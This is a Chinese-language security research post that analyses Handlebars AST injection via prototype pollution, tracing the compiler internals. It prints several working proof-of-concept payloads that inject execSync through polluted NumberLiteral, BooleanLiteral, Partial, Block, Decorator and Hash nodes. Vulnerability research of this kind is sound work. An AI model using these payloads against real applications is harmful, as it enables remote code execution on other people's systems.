详细分析Handlebars AST注入

原理图

image-20210925022250921

handlebarsparser在解析NumberLiteral类型的字符串时会使用Number()函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\parser.js

case 35:
this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };
break;
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;

在将AST编译为函数时,handlebarspushString将字符串传到opcode中,用pushLiteral将数字和布尔值传入到opcode中,而这个opcode就是之后用来构造模板函数的,Literal类型在AST中表示变量的意思,具体可以参考Esprima语法树标准,所以我们下面我们能够利用的类型有NumberLiteralBooleanLiteral

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value); // 字符串使用pushString
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 数字使用pushLiteral
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value); // 布尔值使用pushLiteral
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},

opcode: function opcode(name) {
this.opcodes.push({
opcode: name,
args: slice.call(arguments, 1),
loc: this.sourceNode[0].loc
});
},

那么我们如何调用这些函数呢,handlebars在编译语法树时会调用一个叫accept的函数来处理我们的语法树节点,他会调用node.type对应的构造函数来修改opcode,所以我们的重点也可以转换成如何控制accept(node)node值,且保证解析流程正常进行

1
2
3
4
5
6
7
8
9
10
11
12
13
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 调用node.type对应的构造函数
this.sourceNode.shift();
return ret;
},

Payload

原文作者采用的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}];


var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

大概流程:

  1. type修改为Program绕过Lexer解析
  2. 污染Program中的body,注入自定义的AST
  3. compiler.js文件中找到可用Gadget,此Gadget能够控制accept(node)node值,原文作者利用的是MustacheStatement

漏洞分析

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
compiler.js/ret()
compiler.js/compileInput()
base.js/parse()
base.js/parseWithoutProcessing()
visitor.js/accept()
compiler.js/compile()
compiler.js/accept()
compiler.js/Program()
compiler.js/MustacheStatement()
compiler.js/NumberLiteral() <-- 注入payload
javascript-compiler.js/compile()
javascript-compiler.js/createFunctionContext <-- 生成模板函数体
handlebars.runtime.js/create()
runtime.js/ret()
runtime.js/executeDecorators()
anonymous/templateSpec.main()

解析入口

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput(); // 编译输入
}
return compiled.call(this, context, execOptions);
}

解析AST

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options), // 获取语法树
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}

语法树解析

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parse(input, options) {
var ast = parseWithoutProcessing(input, options); // 转化为AST
var strip = new _whitespaceControl2['default'](options);

return strip.accept(ast); // 解析AST
}

这里的重点是将input.type污染为Program,从而绕过AST的转换阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') { // 如果已经是转换好的AST就直接返回
return input;
}

_parser2['default'].yy = yy;

// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};

var ast = _parser2['default'].parse(input); // 否则就调用Lexer解析节点生成AST

return ast;
}

这里是递归解析语法树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// node_modules\handlebars\dist\cjs\handlebars\compiler\visitor.js

accept: function accept(object) {
if (!object) {
return;
}

/* istanbul ignore next: Sanity code */
if (!this[object.type]) {
throw new _exception2['default']('Unknown type: ' + object.type, object);
}

if (this.current) {
this.parents.unshift(this.current);
}
this.current = object;

var ret = this[object.type](object); // 调用对应的构造函数解析AST

this.current = this.parents.shift();

if (!this.mutating || ret) {
return ret;
} else if (ret !== false) {
return object;
}
},

编译环境变量

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options), // 编译环境变量
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

compile: function compile(program, options) {
this.sourceNode = [];
this.opcodes = [];
this.children = [];
this.options = options;
this.stringParams = options.stringParams;
this.trackIds = options.trackIds;

options.blockParams = options.blockParams || [];

options.knownHelpers = _utils.extend(Object.create(null), {
helperMissing: true,
blockHelperMissing: true,
each: true,
'if': true,
unless: true,
'with': true,
log: true,
lookup: true
}, options.knownHelpers);

return this.accept(program); // 传入accept函数进行处理
},

1
2
3
4
5
6
7
8
9
10
11
12
13
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 提取AST对应的type并调用该构造函数
this.sourceNode.shift();
return ret;
},

第一次node.type被污染为program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

Program: function Program(program) { // 利用Program类来自定义类
this.options.blockParams.unshift(program.blockParams);

var body = program.body, // 通过污染body插入我们的恶意代码
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]); // 提取我们的body继续调用accept进行解析
}

this.options.blockParams.shift();

this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;

return this;
},

第二次node.type为自定义的MustacheStatement

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

MustacheStatement: function MustacheStatement(mustache) {
this.SubExpression(mustache); // 1

if (mustache.escaped && !this.options.noEscape) {
this.opcode('appendEscaped');
} else {
this.opcode('append'); // 如果没有设置escaped的话就进行append操作
}
},

SubExpression: function SubExpression(sexpr) {
transformLiteralToPath(sexpr);
var type = this.classifySexpr(sexpr);

if (type === 'simple') {
this.simpleSexpr(sexpr);
} else if (type === 'helper') {
this.helperSexpr(sexpr); // 2
} else {
this.ambiguousSexpr(sexpr);
}
},

helperSexpr: function helperSexpr(sexpr, program, inverse) {
var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3
path = sexpr.path,
name = path.parts[0];

if (this.options.knownHelpers[name]) {
this.opcode('invokeKnownHelper', params.length, name);
} else if (this.options.knownHelpersOnly) {
throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);
} else {
path.strict = true;
path.falsy = true;

this.accept(path);
this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));
}
},

setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {
var params = sexpr.params;
this.pushParams(params); // 4

this.opcode('pushProgram', program);
this.opcode('pushProgram', inverse);

if (sexpr.hash) {
this.accept(sexpr.hash);
} else {
this.opcode('emptyHash', omitEmpty);
}

return params;
},

pushParams: function pushParams(params) {
for (var i = 0, l = params.length; i < l; i++) {
this.pushParam(params[i]); // 5
}
},

pushParam: function pushParam(val) {
var value = val.value != null ? val.value : val.original || '';

if (this.stringParams) {
if (value.replace) {
value = value.replace(/^(\.?\.\/)*/g, '').replace(/\//g, '.');
}

if (val.depth) {
this.addDepth(val.depth);
}
this.opcode('getContext', val.depth || 0);
this.opcode('pushStringParam', value, val.type);

if (val.type === 'SubExpression') {
// SubExpressions get evaluated and passed in
// in string params mode.
this.accept(val);
}
} else {
if (this.trackIds) {
var blockParamIndex = undefined;
if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {
blockParamIndex = this.blockParamIndex(val.parts[0]);
}
if (blockParamIndex) {
var blockParamChild = val.parts.slice(1).join('.');
this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);
} else {
value = val.original || value;
if (value.replace) {
value = value.replace(/^this(?:\.|$)/, '').replace(/^\.\//, '').replace(/^\.$/, '');
}

this.opcode('pushId', val.type, value);
}
}
this.accept(val); // 6 很巧妙地将我们的payload再次传入accept函数
}
},

第三次node.typeNumberLiteral

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value);
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 将我们的payload识别为Literal而直接转进构造函数
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value);
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},

后面还有一系列对opcode的操作,均为MustacheStatement语法树的编译过程,下图是编译好MustacheStatement语法树之后opcodes的全部操作,而我们的payload就被注入了第一个

image-20210925113821867

编译模板

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // 将我们的环境变量传进去来编译templateSpec
return env.template(templateSpec);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

compile: function compile(environment, options, context, asObject) {
this.environment = environment;
this.options = options;
this.stringParams = this.options.stringParams;
this.trackIds = this.options.trackIds;
this.precompile = !asObject;

this.name = this.environment.name;
this.isChild = !!context;
this.context = context || {
decorators: [],
programs: [],
environments: []
};

this.preamble();

this.stackSlot = 0;
this.stackVars = [];
this.aliases = {};
this.registers = { list: [] };
this.hashes = [];
this.compileStack = [];
this.inlineStack = [];
this.blockParams = [];

this.compileChildren(environment, options);

this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;
this.useBlockParams = this.useBlockParams || environment.useBlockParams;

var opcodes = environment.opcodes,
opcode = undefined,
firstLoc = undefined,
i = undefined,
l = undefined;

for (i = 0, l = opcodes.length; i < l; i++) {
opcode = opcodes[i];

this.source.currentLocation = opcode.loc;
firstLoc = firstLoc || opcode.loc;
this[opcode.opcode].apply(this, opcode.args); // 这里就是使用我们opcode的操作,然后会把结果存到this.source.SourceNode中
}

// Flush any trailing content that might be pending.
this.source.currentLocation = firstLoc;
this.pushSource('');

/* istanbul ignore next */
if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
throw new _exception2['default']('Compile completed with content left on stack');
}

if (!this.decorators.isEmpty()) {
this.useDecorators = true;

this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\n']);
this.decorators.push('return fn;');

if (asObject) {
this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);
} else {
this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\n');
this.decorators.push('}\n');
this.decorators = this.decorators.merge();
}
} else {
this.decorators = undefined;
}

var fn = this.createFunctionContext(asObject); // 创建模板的函数体
if (!this.isChild) {
var ret = {
compiler: this.compilerInfo(),
main: fn
};

if (this.decorators) {
ret.main_d = this.decorators; // eslint-disable-line camelcase
ret.useDecorators = true;
}

var _context = this.context;
var programs = _context.programs;
var decorators = _context.decorators;

for (i = 0, l = programs.length; i < l; i++) {
if (programs[i]) {
ret[i] = programs[i];
if (decorators[i]) {
ret[i + '_d'] = decorators[i];
ret.useDecorators = true;
}
}
}

if (this.environment.usePartial) {
ret.usePartial = true;
}
if (this.options.data) {
ret.useData = true;
}
if (this.useDepths) {
ret.useDepths = true;
}
if (this.useBlockParams) {
ret.useBlockParams = true;
}
if (this.options.compat) {
ret.compat = true;
}

if (!asObject) {
ret.compiler = JSON.stringify(ret.compiler);

this.source.currentLocation = { start: { line: 1, column: 0 } };
ret = this.objectLiteral(ret);

if (options.srcName) {
ret = ret.toStringWithSourceMap({ file: options.destName });
ret.map = ret.map && ret.map.toString();
} else {
ret = ret.toString();
}
} else {
ret.compilerOptions = this.options;
}

return ret;
} else {
return fn;
}
},

执行opcodepushLiteral的具体实现流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js


// [pushLiteral]
//
// On stack, before: ...
// On stack, after: value, ...
//
// Pushes a value onto the stack. This operation prevents
// the compiler from creating a temporary variable to hold
// it.
pushLiteral: function pushLiteral(value) { // 注释也已经很清楚了
this.pushStackLiteral(value);
},

pushStackLiteral: function pushStackLiteral(item) {
this.push(new Literal(item));
},

function Literal(value) {
this.value = value;
}

push: function push(expr) {
if (!(expr instanceof Literal)) {
expr = this.source.wrap(expr);
}

this.inlineStack.push(expr);
return expr;
},

在执行最后的append操作的时候会将inlineStack中的内容pop出来加入到Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

append: function append() {
if (this.isInline()) {
this.replaceStack(function (current) {
return [' != null ? ', current, ' : ""'];
});

this.pushSource(this.appendToBuffer(this.popStack()));
} else {
var local = this.popStack();
this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);
if (this.environment.isSimple) {
this.pushSource(['else { ', this.appendToBuffer("''", undefined, true), ' }']);
}
}
},

这里是创建函数体上下文,将source中的东西转换成字符串函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

createFunctionContext: function createFunctionContext(asObject) {
// istanbul ignore next

var _this = this;

var varDeclarations = '';

var locals = this.stackVars.concat(this.registers.list);
if (locals.length > 0) {
varDeclarations += ', ' + locals.join(', ');
}

// Generate minimizer alias mappings
//
// When using true SourceNodes, this will update all references to the given alias
// as the source nodes are reused in situ. For the non-source node compilation mode,
// aliases will not be used, but this case is already being run on the client and
// we aren't concern about minimizing the template size.
var aliasCount = 0;
Object.keys(this.aliases).forEach(function (alias) {
var node = _this.aliases[alias];
if (node.children && node.referenceCount > 1) {
varDeclarations += ', alias' + ++aliasCount + '=' + alias;
node.children[0] = 'alias' + aliasCount;
}
});

if (this.lookupPropertyFunctionIsUsed) {
varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();
}

var params = ['container', 'depth0', 'helpers', 'partials', 'data'];

if (this.useBlockParams || this.useDepths) {
params.push('blockParams');
}
if (this.useDepths) {
params.push('depths');
}

// Perform a second pass over the output to merge content when possible
var source = this.mergeSource(varDeclarations); // 把原本的source和varDeclarations拼接起来

if (asObject) {
params.push(source);

return Function.apply(this, params);
} else {
return this.source.wrap(['function(', params.join(','), ') {\n ', source, '}']); // 将source封装成函数
}
},

生成模板

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec); // 生成模板
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// node_modules\handlebars\dist\cjs\handlebars.runtime.js

function create() {
var hb = new base.HandlebarsEnvironment();

Utils.extend(hb, base);
hb.SafeString = _handlebarsSafeString2['default'];
hb.Exception = _handlebarsException2['default'];
hb.Utils = Utils;
hb.escapeExpression = Utils.escapeExpression;

hb.VM = runtime;
hb.template = function (spec) {
return runtime.template(spec, hb);
};

return hb;
}

模板函数执行

1
2
3
4
5
6
7
8
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput();
}
return compiled.call(this, context, execOptions); // 执行函数获取返回值
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// node_modules\handlebars\dist\cjs\handlebars\runtime.js

function ret(context) {
var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];

var data = options.data;

ret._setup(options);
if (!options.partial && templateSpec.useData) {
data = initData(context, data);
}
var depths = undefined,
blockParams = templateSpec.useBlockParams ? [] : undefined;
if (templateSpec.useDepths) {
if (options.depths) {
depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;
} else {
depths = [context];
}
}

function main(context /*, options*/) {
return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths);
}

main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // 对main函数进行装饰
return main(context, options); // 执行main函数
}

被污染的函数

1
2
3
4
5
6
7
8
9
10
11
12
(function anonymous(container,depth0,helpers,partials,data
) {
var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};

return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require('child_process').execSync('calc.exe').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");

})

总结

  1. 漏洞核心在于污染编译过程中的pushLiteral操作,其中可以用到NumberLiteral类型和BooleanLiteral类型

  2. typeProgram绕过Lexer解析器,从compiler.js找到可用的Gadget

  3. 在寻找Gadget时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement类型注入我们的payload,而不能直接将NumberLiteral注入到body

    1
    2
    3
    4
    /* istanbul ignore next */
    if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
    throw new _exception2['default']('Compile completed with content left on stack');
    }

拓展

BooleanLiteral

NumberLiteral替换为BooleanLiteral

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "BooleanLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

PartialStatement

MustacheStatement改为PartialStatement

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialStatement",
"name": "",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}]
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

PartialBlockStatement

MustacheStatement改为PartialBlockStatement

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialBlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"name": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 },
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

BlockStatement

MustacheStatement改为BlockStatement

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "BlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

Decorator

触发点和上面的有所差异,这个是在装饰main函数的时候插入自定义代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "Decorator",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

inf Hash

无限内嵌Hash类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "Hash",
"pairs": [{
"value":{
"type": "Hash",
"pairs": [{
"value":{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}}]
}}]
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

参考

https://blog.p6.is/AST-Injection/